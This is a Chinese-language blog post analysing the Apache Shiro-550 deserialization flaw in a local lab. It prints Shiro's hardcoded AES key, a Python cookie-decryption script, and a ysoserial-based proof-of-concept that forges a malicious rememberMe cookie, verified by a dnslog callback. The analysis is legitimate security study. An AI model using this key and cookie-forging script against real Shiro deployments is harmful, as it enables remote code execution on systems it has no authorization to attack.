Java反序列化漏洞分析(一)-Shiro550

本文首发于微信公众号:谁不想当剑仙

本文最后更新于:2021年5月21日 下午

本菜鸡算是第一次正式分析这种玩意,很烂,都是跟着网上的分析教程走一遍,算是打响java反序列化漏洞的第一枪。我还欠了两篇文章,记着呢。

0x01 前言

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在它编号为550的issue 中爆出严重的Java反序列化漏洞。

在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,这就为伪造cookie提供了机会。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化

漏洞原因在于第三步,在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,于是我们就可以构造RememberMe的值,然后让其反序列化执行。

只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

0x02 环境搭建

首先下载源码,并切换有漏洞的版本

1
2
3
git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

image-20210506223546214

修改samples/web/pom.xml,支持jsp

image-20210519210957110

  1. Run

  2. Edit Configurations

  3. 添加TomcatServer(Local)

  4. Server中配置Tomcat路径

  5. Deployment中添加Artifact

  6. 选择sample-web:war exploded

    image-20210519212838979

    这里若要使用burpsuite,注意端口不要和bp冲突

image-20210519210846672

然后运行即可

image-20210519212950043

0x03 代码分析

根据 https://issues.apache.org/jira/browse/SHIRO-550 描述

image-20210519211422639

这是几个重要的点:

  • 检索RememberMe cookie的值
  • Base64解码
  • 使用AES解密
  • 使用Java序列化(ObjectInputStream)反序列化。

先来瞧瞧这个cookie,进入登录界面,在登录时,勾选Remember Meimage-20210519213228149

1
rememberMe=+3nYB8HVKgNT9ewnrYDz2kMZA2QhOJucwaUx76IB0ya4ZesDlsfmreeeZ1ngxazK7jEsPKIWkxfdBfVEhPI+fiKqfyV0+tH4U+RcWPwITXq4NgY415Edvbb7Wmx6j+KW6C7RaEMf6A9ib8KvOwZizhXUw8d87EyaXpPd6RzJghoOJJoq7hP4gxLv1L5i9u1EZriLjUcnfaufS5R3jevlVgpYAMhuDWK8m9/lJZvK/IWm4/5RAmiDQEirwB8r57x/tZ71fs7baFXOZVueN/V7dJv8ySJP+ozQ/cy3bcx6+ZgF/MJvn4e5nLtM01u8jgg1rTk7fW+0jt61Znq1mq0BNnzAraTZg+0pSU36+aCiolYLh82BX/jJHweu9COVUyONKrXBcm8mPOz0vO8Kjq581OmACdiQgC1kI6qHrr+GloO0xlk4MJZiVzzYm5YdGkgDOPNGO2Lfh4U5hmprEzlf+5/7zwKILsMtOVrqZG5AXXW1XKTch62gq7jAWAXBmyIU

使用Base64解码存储为二进制文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# @Author : yhy
import base64

import struct

rememberMe = '+3nYB8HVKgNT9ewnrYDz2kMZA2QhOJucwaUx76IB0ya4ZesDlsfmreeeZ1ngxazK7jEsPKIWkxfdBfVEhPI+fiKqfyV0+tH4U+RcWPwITXq4NgY415Edvbb7Wmx6j+KW6C7RaEMf6A9ib8KvOwZizhXUw8d87EyaXpPd6RzJghoOJJoq7hP4gxLv1L5i9u1EZriLjUcnfaufS5R3jevlVgpYAMhuDWK8m9/lJZvK/IWm4/5RAmiDQEirwB8r57x/tZ71fs7baFXOZVueN/V7dJv8ySJP+ozQ/cy3bcx6+ZgF/MJvn4e5nLtM01u8jgg1rTk7fW+0jt61Znq1mq0BNnzAraTZg+0pSU36+aCiolYLh82BX/jJHweu9COVUyONKrXBcm8mPOz0vO8Kjq581OmACdiQgC1kI6qHrr+GloO0xlk4MJZiVzzYm5YdGkgDOPNGO2Lfh4U5hmprEzlf+5/7zwKILsMtOVrqZG5AXXW1XKTch62gq7jAWAXBmyIU'

rememberMe_64 = base64.b64decode(rememberMe)

f = open("rememberMe", 'wb')


f.write(rememberMe_64)

内容如下:image-20210519214639370

上述内容中并没有在初探Java反序列化漏洞(一)中提到过的序列化的数据流以魔术数字和版本号AC ED 00 05 等字样。这是因为上述关键步骤中提到了AES解密,所以需要去跟一下源码。

3.2 Shiro 500 中的 AES 解密

在IDEA中ctrl+shift+f 全局搜索AESimage-20210520201956272

src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java中找到了

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”) 就是我们要找的硬编码密钥,因为AES是对称加密,即加密密钥也同样是解密密钥。

然后看看shiro是怎么处理解密的,向下看,找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* Decrypts the byte array using the configured {@link #getCipherService() cipherService}.
*
* @param encrypted the encrypted byte array to decrypt
* @return the decrypted byte array returned by the configured {@link #getCipherService () cipher}.
*/
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

函数名decrypt,显而易见,是处理解密的,cipherService是一个接口,调用了其中的decrypt解密方法,需要两个变量encrypted(被加密的数组) 和 getDecryptionCipherKey()(获取解密秘钥),前面说了AES是对称加密,即加密密钥也同样是解密密钥。而且从程序中也能看到,确实是同一个,通过在该类中查找setDecryptionCipherKey()方法,可以看到image-20210520204036228

再搜索setCipherKey,可以看到构造方法中传入了DEFAULT_CIPHER_KEY_BYTES也就是Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")的值image-20210520204113812

然后再看一下CipherService这个接口的decrypt的具体实现,ctrl+右键跟进去看看image-20210520205000830

这只是个接口,全局搜索implements CipherService 发现src/main/java/org/apache/shiro/crypto/JcaCipherService.java实现了CipherService接口,进去看看decrypt方法

为了方便,我们在这里下个断点,发现是CBC模式,并且 iv偏移量的值为 **byte[] iv = new byte[16] ** image-20210520215309770

利用下面的脚本解密之前base64解码后生成的rememberMe文件得到decrypt.bin文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# pip install pycrypto
import sys
import base64
from Crypto.Cipher import AES
def decode_rememberme_file(filename):
with open(filename, 'rb') as fpr:
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
remember_bin = encryptor.decrypt(fpr.read())
return remember_bin
if __name__ == '__main__':
with open("decrypt.bin", 'wb+') as fpw:
fpw.write(decode_rememberme_file(sys.argv[1]))

image-20210520221418998

这是 Java 序列化的标志,说明解密成功

3.3 反序列化

看看解密之后的操作,回到src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java类中,看看,从哪里调用了decrypt函数,image-20210521073527745

convertBytesToPrincipals这里解密之后,执行了反序列化deserialize,进去瞅瞅image-20210521074103621

通过获取getSerializer()来调用反序列化,再看看SetSerializerimage-20210521074230279

src/main/java/org/apache/shiro/io/DefaultSerializer.javaimage-20210521074304324

这里使用的是默认反序列化类,没有任何检验,readobject()触发反序列化!image-20210521074629505

0x04 漏洞探测

现在我们知道了shiro550在获取到rememberMe cookie的值后,通过硬编码的KEY **kPH+bIxk5D2deZiIxcaaaA==进行AES解密,解密完成之后直接调用默认的反序列化的readobject()**方法,没有经过任何的校验。

具体的 Payload 也就呼之欲出了,将payload通过AES加密伪造rememberMe cookie,我们通过刚才的解密流程知道shiro550采用的CBC模式、**byte[] iv = new byte[16]**, 通过脚本伪造,利用ysoserial.jar 神器生成URLDNS探测的payload进行探测(shiro550自带来commons-collections3.2.1,关于commons-collections的相关漏洞,后续分析)image-20210521091543563

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
# 替换dnslog
payload = rememberme('http://5fzd8f.dnslog.cn')
with open("payload.cookie", "w") as fpw:

print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)

运行生成

1
rememberMe=Y3M07legS/64hNfAmb+zfY1Ch/sXxGbop7rMR3YgWuFwTmdZEGj1q0oaHMowhUpUopo4XNjBkIDbn+w4Zhq0QO+9GXX4+hZA67NiM5U6sXcxtxLZCdlRB4JlrT8JrtTs+OyejDVh2HXLgI29lmMSDVoVW5OV3EHISFbFS+MmQv6JGqt60OZHxw6y1uhwYcWiRZ2kqGwDbNE/Xj+vNA1/5CdvnElY3jVvo8YJ8Suy8zznVuMlR2OsjksaHel8dXoUSXRiTAsMnn0SJIqKm7KI98YqTQaSn4F7VnEqaaNyciQwgOoOV/MphOWjVcTWsEDgdUjT5WgI+pJSZpX9JIo1XT75SPpWkiIw9Sseptaor5fsPMPNuk/lf5bWSpnwFTlTUuClsDJbOXjgvcew77i9tw==

替换打成功image-20210521084722601

其实一开始是失败的,shiro550自带的包是commons-collections3.2.1,原生情况下直接用ysoserial打,是不会成功的,其他位置中直接添加了image-20210521091756305

commons-collections4的包,才可以顺畅复现。至于为啥原生的3.2.1不能触发漏洞,以及可不可以触发漏洞,下篇文章再分析。

0x05 参考

Apache Shiro Java 反序列化漏洞分析 https://blog.knownsec.com/2016/08/apache-shiro-java/

Java安全之Shiro 550反序列化漏洞分析 https://www.anquanke.com/post/id/225442#h3-8

ysoserial https://github.com/frohoff/ysoserial


来杯奶茶